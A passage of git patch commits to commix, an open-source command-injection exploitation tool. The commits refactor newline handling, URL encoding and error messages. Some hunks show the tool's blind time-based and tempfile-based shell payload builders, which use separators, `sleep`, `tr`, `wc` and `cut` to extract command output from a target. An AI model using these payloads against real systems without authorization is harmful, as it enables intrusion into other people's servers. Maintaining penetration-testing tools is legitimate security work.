"Corrupted installation detected ('" + exc_msg.strip().split(settings.END_LINE.LF)[-1] + "'). " err_msg += "You should retrieve the latest (dev) version from official GitHub " err_msg += "repository at '" + settings.GIT_URL + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif "Invalid IPv6 URL" in exc_msg: - err_msg = "invalid URL ('" + exc_msg.strip().split('\n')[-1] + "')" + err_msg = "invalid URL ('" + exc_msg.strip().split(settings.END_LINE.LF)[-1] + "')" settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index ee08622b49..c48e4b5a1d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "115" +REVISION = "116" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a211764da01ff521dd4527c78ea5fc98e290b967 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 20 Oct 2025 08:15:40 +0300 Subject: [PATCH 0645/1023] Fixes https://github.com/commixproject/commix/issues/1066 --- src/core/injections/controller/checks.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 4e07cafccb..305c0db547 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2180,7 +2180,7 @@ def check_similarities(all_params): parameter_value = ''.join(re.findall(r'=(.*)', all_params[param])) all_params[param] = parameter_name + "=" + parameter_value + settings.RANDOM_TAG - all_params = [x for x in all_params if x is not None] + all_params = [str(x) for x in all_params if x is not None] return all_params """ diff --git a/src/utils/settings.py b/src/utils/settings.py index c48e4b5a1d..b14a616c18 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "116" +REVISION = "117" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d60f1176a6b38fe64020491ce3bf1726e2ee4199 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 21 Oct 2025 06:45:23 +0300 Subject: [PATCH 0646/1023] Fixes https://github.com/commixproject/commix/issues/1065 --- src/core/injections/controller/controller.py | 4 +++- src/core/requests/headers.py | 4 ++-- src/utils/settings.py | 8 ++++++-- 3 files changed, 11 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index b043c5335c..eb05fab0a1 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -119,7 +119,9 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites settings.USER_DEFINED_POST_DATA = checks.remove_tags(settings.USER_DEFINED_POST_DATA) data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) if settings.INJECT_TAG in url: - tmp_url = checks.process_injectable_value(payload, url) + # Encode query string, preserving delimiters and configured parameter delimiter + encoded_payload = _urllib.parse.quote(payload, safe=settings.SAFE_QUERY) + tmp_url = checks.process_injectable_value(encoded_payload, url) else: tmp_url = checks.remove_tags(tmp_url) url = checks.remove_tags(url) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index ecc901e275..2fe1b80a80 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -49,9 +49,9 @@ def encode_non_ascii_url(request): url = request.get_full_url() parts = _urllib.parse.urlsplit(url) # Encode path, preserving '/', '*', and '%' to avoid over-encoding - path = _urllib.parse.quote(parts.path, safe="*%/") + path = _urllib.parse.quote(parts.path, safe=settings.SAFE_PATH) # Encode query string, preserving delimiters and configured parameter delimiter - query = _urllib.parse.quote(parts.query, safe="*=?/%" + settings.URL_PARAM_DELIMITER) + query = _urllib.parse.quote(parts.query, safe=settings.SAFE_QUERY + settings.URL_PARAM_DELIMITER) # Reconstruct the full URL with encoded path and query request.full_url = _urllib.parse.urlunsplit((parts.scheme, parts.netloc, path, query, parts.fragment)) diff --git a/src/utils/settings.py b/src/utils/settings.py index b14a616c18..200c42bd60 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "117" +REVISION = "118" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -321,6 +321,11 @@ def sys_argv_errors(): VALUE_BOUNDARIES = r'[\\/](.+?)[\\/]' INJECT_INSIDE_BOUNDARIES = None + # Safe characters to keep unescaped in URL paths +SAFE_PATH = "*%/" + # Safe characters to keep unescaped in query strings +SAFE_QUERY = SAFE_PATH + "=?" + # Default (windows) target host's python interpreter WIN_PYTHON_INTERPRETER = "python.exe" WIN_CUSTOM_PYTHON_INTERPRETER = "C:\\Python27\\python.exe" @@ -1390,5 +1395,4 @@ class END_LINE: USE_PCRE_E_MODIFIER = None PCRE_MODIFIER = "/e" - # eof From 6f59b2ae348994c537ba780c6c4e6203cdb14050 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 27 Oct 2025 07:57:52 +0200 Subject: [PATCH 0647/1023] Trivial update regarding hardcoded escaped newline replacement --- .../blind/techniques/time_based/tb_payloads.py | 6 +++--- src/core/injections/controller/checks.py | 6 +++--- src/core/injections/controller/injector.py | 2 +- src/core/injections/controller/parser.py | 6 +++--- .../techniques/tempfile_based/tfb_payloads.py | 10 +++++----- src/core/main.py | 2 +- src/core/requests/headers.py | 4 ++-- src/core/requests/requests.py | 2 +- src/utils/logs.py | 2 +- src/utils/settings.py | 3 ++- 10 files changed, 22 insertions(+), 21 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 1a2bc1682c..9e82328c4b 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -74,7 +74,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): pipe = "|" payload = (pipe + "[ " + str(output_length) + " -ne " + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.SINGLE_WHITESPACE + - pipe + "tr -d '\\n' " + pipe + "wc -c" + settings.CMD_SUB_SUFFIX + " ]" + separator + + pipe + "tr -d '" + settings.END_LINE.ESCAPED_LF + "'" + pipe + "wc -c" + settings.CMD_SUB_SUFFIX + " ]" + separator + "sleep " + str(timesec) ) else: @@ -210,7 +210,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): pipe = "|" payload = (pipe + "[ " +str(output_length)+ " -ne " + settings.CMD_SUB_PREFIX + "echo -n \"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + - pipe + "tr -d '\\n' " + pipe + "wc -c" + settings.CMD_SUB_SUFFIX + " ]" + separator + + pipe + "tr -d '" + settings.END_LINE.ESCAPED_LF + "'" + pipe + "wc -c" + settings.CMD_SUB_SUFFIX + " ]" + separator + "sleep " + str(timesec) ) else: @@ -347,7 +347,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + cmd + pipe + "tr -d '\\n'" + + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + cmd + pipe + "tr -d '" + settings.END_LINE.ESCAPED_LF + "'" + pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" + pipe + "head -1" + pipe + "awk '{print$2}'" + settings.CMD_SUB_SUFFIX + " ]" + separator + "sleep " + str(timesec) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 305c0db547..36113415af 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -188,7 +188,7 @@ def process_custom_injection_data(data): if settings.CUSTOM_INJECTION_MARKER is not None: lines = [] - for line in data.split("\\n"): + for line in data.split(settings.END_LINE.ESCAPED_LF): if not line.startswith(settings.ACCEPT) and settings.CUSTOM_INJECTION_MARKER_CHAR in line: if menu.options.test_parameter is not None and settings.CUSTOM_INJECTION_MARKER is False: line = remove_tags(line) @@ -196,7 +196,7 @@ def process_custom_injection_data(data): lines.append(line) # Remove duplicates, then rejoin lines - data = "\\n".join(list(dict.fromkeys(lines))).rstrip("\\n") + data = settings.END_LINE.ESCAPED_LF.join(list(dict.fromkeys(lines))).rstrip(settings.END_LINE.ESCAPED_LF) return data @@ -812,7 +812,7 @@ def url_decode(payload): rep = { "%20": " ", "%2B": "+", - settings.END_LINE.LF: "\\n" + settings.END_LINE.LF: settings.END_LINE.ESCAPED_LF } rep = dict((re.escape(k), v) for k, v in rep.items()) pattern = re.compile("|".join(rep.keys())) diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 2a0d8b7324..035e6c10c7 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -195,7 +195,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques if settings.VERBOSITY_LEVEL != 0: _ = cmd if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - payload_msg = payload.replace(settings.END_LINE.LF, "\\n") + payload_msg = payload.replace(settings.END_LINE.LF, settings.END_LINE.ESCAPED_LF) if settings.COMMENT in payload_msg: payload = payload.split(settings.COMMENT)[0].strip() payload_msg = payload_msg.split(settings.COMMENT)[0].strip() diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index f7da93fe3e..86ae545e19 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -89,12 +89,12 @@ def invalid_data(request): if menu.options.header: request_headers.append(menu.options.header) elif menu.options.headers: - request_headers.extend(menu.options.headers.split("\\n")) + request_headers.extend(menu.options.headers.split(settings.END_LINE.ESCAPED_LF)) request_headers.append(header_name + ":" + header_value) c += 1 c += 1 menu.options.data = "".join(request_lines[c:] if c < len(request_lines) else "") - settings.RAW_HTTP_HEADERS = '\\n'.join(request_headers) + settings.RAW_HTTP_HEADERS = settings.END_LINE.ESCAPED_LF.join(request_headers) except IOError as err_msg: error_msg = "The '" + request_file + "' " @@ -173,7 +173,7 @@ def invalid_data(request): match = re.findall(r"(.*): (.*)", line) match = "".join([str(i) for i in match]).replace("', '",":") match = match.replace("('", "") - match = match.replace("')","\\n") + match = match.replace("')",settings.END_LINE.ESCAPED_LF) # Ignore some header. if settings.CONTENT_LENGTH or settings.ACCEPT_ENCODING in match: extra_headers = extra_headers diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index decb9cbefa..37c60de638 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -80,7 +80,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): payload = (pipe + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + - pipe + "tr -d '\\n'" + + pipe + "tr -d '" + settings.END_LINE.ESCAPED_LF + "'" + pipe + "wc -c) ] " + separator + "sleep " + str(timesec) ) @@ -203,7 +203,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth settings.USER_APPLIED_CMD = cmd if separator in (";", "%0a") : payload = (separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '" + settings.END_LINE.ESCAPED_LF + "' ' ' < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "echo $" + settings.RANDOM_VAR_GENERATOR + " > " + OUTPUT_TEXTFILE + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. @@ -222,7 +222,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0 " + separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr -d '\\n'<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr -d '" + settings.END_LINE.ESCAPED_LF + "' <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "echo $" + settings.RANDOM_VAR_GENERATOR + "" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. @@ -242,7 +242,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth payload = (pipe + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + pipe + - "tr -d '\\n'" + pipe + "wc -c) ]" + separator + + "tr -d '" + settings.END_LINE.ESCAPED_LF + "'" + pipe + "wc -c) ]" + separator + "sleep " + str(timesec) ) else: @@ -372,7 +372,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http pipe = "|" payload = (pipe + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + - pipe + "tr -d '\\n'" + + pipe + "tr -d '" + settings.END_LINE.ESCAPED_LF + "'" + pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" + pipe + "head -1" + diff --git a/src/core/main.py b/src/core/main.py index c05c8965b0..2cd8472242 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -691,7 +691,7 @@ def main(filename, url, http_request_method): else: settings.DEFAULT_CODEC = menu.options.codec.lower() - if menu.options.header and len(menu.options.header.split("\\n"))> 1: + if menu.options.header and len(menu.options.header.split(settings.END_LINE.ESCAPED_LF))> 1: warn_msg = "Due to multiple provided HTTP headers, swithing '--header' to '--headers'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 2fe1b80a80..ad63213c01 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -404,8 +404,8 @@ def do_check(request): if ": //" in extra_headers: extra_headers = extra_headers.replace(": //" ,"://") - if "\\n" in extra_headers: - extra_headers = extra_headers.split("\\n") + if settings.END_LINE.ESCAPED_LF in extra_headers: + extra_headers = extra_headers.split(settings.END_LINE.ESCAPED_LF) # Remove empty strings and "Content-Length" extra_headers = [x for x in extra_headers if settings.CONTENT_LENGTH not in x] else: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 4b55453c64..34698e435c 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -958,7 +958,7 @@ def perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_ # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace(settings.END_LINE.LF, "\\n") + payload_msg = payload.replace(settings.END_LINE.LF, settings.END_LINE.ESCAPED_LF) settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag diff --git a/src/utils/logs.py b/src/utils/logs.py index b440167458..dc92b855af 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -171,7 +171,7 @@ def update_payload(filename, counter, payload): with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: if settings.END_LINE.LF in payload: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + re.sub("%20", settings.SINGLE_WHITESPACE, _urllib.parse.unquote_plus(payload.replace(settings.END_LINE.LF, "\\n"))) + settings.END_LINE.LF) + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + re.sub("%20", settings.SINGLE_WHITESPACE, _urllib.parse.unquote_plus(payload.replace(settings.END_LINE.LF, settings.END_LINE.ESCAPED_LF))) + settings.END_LINE.LF) else: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + payload.replace("%20", settings.SINGLE_WHITESPACE) + settings.END_LINE.LF) diff --git a/src/utils/settings.py b/src/utils/settings.py index 200c42bd60..e3f64f5792 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "118" +REVISION = "119" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1191,6 +1191,7 @@ class END_LINE: CR = "\r" LF = "\n" CRLF = "\r\n" + ESCAPED_LF = "\\n" # List of end lines END_LINES_LIST = [attr for attr in dir(END_LINE) if not callable(getattr(END_LINE, attr)) and not attr.startswith("__")] From b79128c6430e27537d3607c62af8d5295a0d5ddd Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 10 Nov 2025 07:38:12 +0200 Subject: [PATCH 0648/1023] Update regarding commit https://github.com/commixproject/commix/commit/8f5c35b2a951f1ad26f3c684f78c3a60b45dd1fd --- src/core/injections/controller/checks.py | 8 ++++---- src/utils/common.py | 8 ++++---- src/utils/settings.py | 2 +- 3 files changed, 9 insertions(+), 9 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 36113415af..948eae6b54 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -779,11 +779,11 @@ def captcha_check(page): """ def check_for_false_positive_result(false_positive_warning): info_msg = "Checking if the injection point on " - info_msg += settings.CHECKING_PARAMETER + " is a false positive.\n" + info_msg += settings.CHECKING_PARAMETER + " is a false positive." + settings.END_LINE.LF settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) warn_msg = "Time-based comparison requires " + ('larger', 'reset of')[false_positive_warning] + " statistical model" if settings.VERBOSITY_LEVEL != 0: - warn_msg = warn_msg + ".\n" + warn_msg = warn_msg + "." + settings.END_LINE.LF else: warn_msg = warn_msg +", please wait..." settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) @@ -1332,7 +1332,7 @@ def EOFError_err_msg(): """ def time_delay_recommendation(): warn_msg = "Due to unexpected time delays, it is highly " - warn_msg += "recommended to enable the 'reverse_tcp' option.\n" + warn_msg += "recommended to enable the 'reverse_tcp' option." + settings.END_LINE.LF settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) """ @@ -2372,7 +2372,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi if not menu.options.no_logging: if count == 1 : output_file.write(settings.END_LINE.LF) - output_file.write("(" +str(count)+ ") '" + sys_users_list[user] + is_privileged + "'\n" ) + output_file.write("(" +str(count)+ ") '" + sys_users_list[user] + is_privileged + "'" + settings.END_LINE.LF ) else: # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) warn_msg = "It seems you do not have permission to enumerate operating system users." diff --git a/src/utils/common.py b/src/utils/common.py index b380b097ca..c09ba71707 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -206,13 +206,13 @@ def create_github_issue(err_msg, exc_msg): if closed: warn_msg += " and resolved. Please update to the latest " warn_msg += "(dev) version from official GitHub repository at '" + settings.GIT_URL + "'" - warn_msg += ".\n" + warn_msg += "." + settings.END_LINE.LF settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return except: pass - data = {"title": str(bug_report), "body": "```" + str(err_msg) + "\n```\n```\n" + str(exc_msg) + "```"} + data = {"title": str(bug_report), "body": "```" + str(err_msg) + settings.END_LINE.LF + "```" + settings.END_LINE.LF + "```" + str(exc_msg) + "```"} request = _urllib.request.Request(url = "https://api.github.com/repos/commixproject/commix/issues", data = json.dumps(data).encode(), headers = {settings.AUTHORIZATION: "token " + base64.b64decode(settings.GITHUB_REPORT_OAUTH_TOKEN.encode(settings.DEFAULT_CODEC)).decode()} @@ -229,7 +229,7 @@ def create_github_issue(err_msg, exc_msg): else: warn_msg = "Something went wrong while creating a Github issue." if settings.UNAUTHORIZED_ERROR in str(err): - warn_msg += " Please update to the latest revision.\n" + warn_msg += " Please update to the latest revision." + settings.END_LINE.LF settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ @@ -354,7 +354,7 @@ def unhandled_exception(): err_msg += "with the following text and any other information required to " err_msg += "reproduce the bug. The " err_msg += "developers will try to reproduce the bug, fix it accordingly " - err_msg += "and get back to you.\n" + err_msg += "and get back to you." + settings.END_LINE.LF err_msg += settings.APPLICATION.capitalize() + " version: " + settings.VERSION[1:] + settings.END_LINE.LF err_msg += "Python version: " + settings.PYTHON_VERSION + settings.END_LINE.LF err_msg += "Operating system: " + os.name + settings.END_LINE.LF diff --git a/src/utils/settings.py b/src/utils/settings.py index e3f64f5792..b253f90785 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "119" +REVISION = "120" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 887df32c45f31ad279bcb295baea2a44ef180132 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 17 Nov 2025 09:06:46 +0200 Subject: [PATCH 0649/1023] Improved error messaging for malformed session database --- src/utils/common.py | 5 +++++ src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/src/utils/common.py b/src/utils/common.py index c09ba71707..fc3ae97b9b 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -291,6 +291,11 @@ def unhandled_exception(): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + elif "database disk image is malformed" in exc_msg: + exc_msg = "Local session file seems to be malformed. Please rerun with '--flush-session'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + elif all(_ in exc_msg for _ in ("No such file", "_'")): err_msg = "Corrupted installation detected ('" + exc_msg.strip().split(settings.END_LINE.LF)[-1] + "'). " err_msg += "You should retrieve the latest (dev) version from official GitHub " diff --git a/src/utils/settings.py b/src/utils/settings.py index b253f90785..e2425a0e66 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "120" +REVISION = "121" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c56e9ec9c95487518204a7b28239604302fd1598 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 30 Nov 2025 09:13:13 +0200 Subject: [PATCH 0650/1023] Trivial CHANGELOG.md update --- doc/CHANGELOG.md | 1 + src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index de552218df..ab85dc630d 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Refactored with improved page decompression and safer HTTP response handling. * Revised: Refactored OS looping to respect user-specified targets or automatically iterate over supported OSes if none are specified or detected. * Revised: Refactored User-Agent strings to be loaded from external files rather than being hardcoded. diff --git a/src/utils/settings.py b/src/utils/settings.py index e2425a0e66..2389bb9511 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "121" +REVISION = "122" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 6ff6c357c26c0c013ce259f40a35f949237235d5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 8 Dec 2025 10:35:29 +0200 Subject: [PATCH 0651/1023] Trivial update --- src/utils/settings.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 2389bb9511..af540b4b08 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "122" +REVISION = "123" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -321,10 +321,10 @@ def sys_argv_errors(): VALUE_BOUNDARIES = r'[\\/](.+?)[\\/]' INJECT_INSIDE_BOUNDARIES = None - # Safe characters to keep unescaped in URL paths +# Safe characters to keep unescaped in URL paths SAFE_PATH = "*%/" - # Safe characters to keep unescaped in query strings -SAFE_QUERY = SAFE_PATH + "=?" +# Safe characters to keep unescaped in query strings +SAFE_QUERY = SAFE_PATH + "=?&" # Default (windows) target host's python interpreter WIN_PYTHON_INTERPRETER = "python.exe" From e1317892c50b50bccbfc593f72562ea05f12872c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 10 Dec 2025 06:41:39 +0200 Subject: [PATCH 0652/1023] Fixed handling of non-ASCII characters in URLs to ensure proper request encoding. --- doc/CHANGELOG.md | 1 + src/core/requests/headers.py | 2 ++ src/core/requests/requests.py | 1 + src/utils/settings.py | 2 +- 4 files changed, 5 insertions(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index ab85dc630d..850e9072f2 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,5 +1,6 @@ ## Version 4.1 (TBA) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. +* Fixed: Handling of non-ASCII characters in URLs to ensure proper request encoding. * Revised: Refactored with improved page decompression and safer HTTP response handling. * Revised: Refactored OS looping to respect user-specified targets or automatically iterate over supported OSes if none are specified or detected. * Revised: Refactored User-Agent strings to be loaded from external files rather than being hardcoded. diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index ad63213c01..9d38f1fcab 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -313,6 +313,8 @@ def https_open(self, req): """ def do_check(request): + request = encode_non_ascii_url(request) + # Check if defined any Cookie HTTP header. if menu.options.cookie and not settings.COOKIE_INJECTION: request.add_header(settings.COOKIE, checks.remove_tags(menu.options.cookie)) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 34698e435c..c4320885b3 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -472,6 +472,7 @@ def init_injection(payload, http_request_method, url): else: data = checks.process_injectable_value(payload, menu.options.data) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) + headers.do_check(request) response = get_request_response(request) diff --git a/src/utils/settings.py b/src/utils/settings.py index af540b4b08..2d749a4a8f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "123" +REVISION = "124" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 725f647e2c060838a8560bbc7a9352a46f234dc0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 11 Dec 2025 08:41:24 +0200 Subject: [PATCH 0653/1023] Fixed handling of parameter names containing non-ASCII characters. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/controller.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 850e9072f2..cf414a9347 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,5 +1,6 @@ ## Version 4.1 (TBA) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. +* Fixed: Handling of parameter names containing non-ASCII characters. * Fixed: Handling of non-ASCII characters in URLs to ensure proper request encoding. * Revised: Refactored with improved page decompression and safer HTTP response handling. * Revised: Refactored OS looping to respect user-specified targets or automatically iterate over supported OSes if none are specified or detected. diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index eb05fab0a1..2869d642df 100644 --- a/src/core/injections/controller/controller.py +++ 